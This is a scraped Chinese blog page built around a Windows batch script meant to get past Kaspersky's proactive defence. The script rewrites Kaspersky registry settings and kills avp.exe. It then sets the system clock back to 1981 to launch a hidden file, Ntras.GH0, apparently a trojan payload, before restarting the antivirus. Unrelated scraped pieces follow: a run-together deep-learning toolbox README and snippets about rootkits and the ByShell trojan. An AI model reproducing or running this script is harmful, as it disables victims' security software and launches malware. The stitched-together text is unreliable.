绕过卡巴主动防御的批处理

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@echo off
tasklist|findstr /i "avp.exe" && (

reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 0 /f >nul


ping -n 2 localhost >nul
taskkill /f /t /im avp.exe >nul
set date=%date% >nul
date 1981-01-01 >nul
ping -n 10 localhost > nul
start /b %systemroot%/system32/Ntras.GH0 >nul
date %date% >nul
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
ping -n 2 localhost >nul
start "" ""%avpp%"" >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0000/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0001/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0002/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/KasperskyLab/AVP6/settings/NSettings/Childs/0003/Childs/0008" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
goto exit
)
:exit
echo 结束
pause>nul 
 
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深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

实用级反主动防御rootkit设计思路[转载]

有兴在这次x'con交流会上认识白远方兄弟，这是他很早前写的文章，提到了很多东西，保存一下。 作者：白远方 (ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)June 18, 2007关键字：rootkit，反主动防御，...

chubaisheng8627的博客 144

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android：LinePhone3.2.7(最新版本)，官网地址：http://www.linphone.org/

ByShell 一个穿越主动防御的木马

 《电脑报》提到了一个可以轻松穿越卡巴，瑞星，诺顿的主动防御功能的免杀木马：byshell。于是在网上搜，搜到byshell推广版的说明是：可以穿越卡巴瑞星诺顿的默认设置主动防御。我就下了个推广版回来试下微点能不能防，生成服务端后一运行，微点没有让人失望，立刻报告说发现未知监控软件。本来还想试下远程监控看看微点会不会提示有可疑程序访问网络之类的，因为在单位上班，还是放弃了念头。 BYshe

yakoo5的专栏 2194

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

卡巴司机如此重大bug为何视而不改？

在论坛转的时候发现了这片帖子--《卡巴司机如此重大bug为何视而不改？》卡巴死机通过论坛枪手把自己吹得神乎其神，并且大肆诋毁瑞星。开始曾经对这些鬼话深信不疑，其实事后想想，自己何尝不被卡巴的人忽悠过，卡巴死机真的那么 好么？论杀毒：很多病毒都可以秒杀卡巴，论服务，这么大的一个bug卡巴为何久久都不改进？一个小小　　病毒工作机制如下 １检查被感染机器是否...

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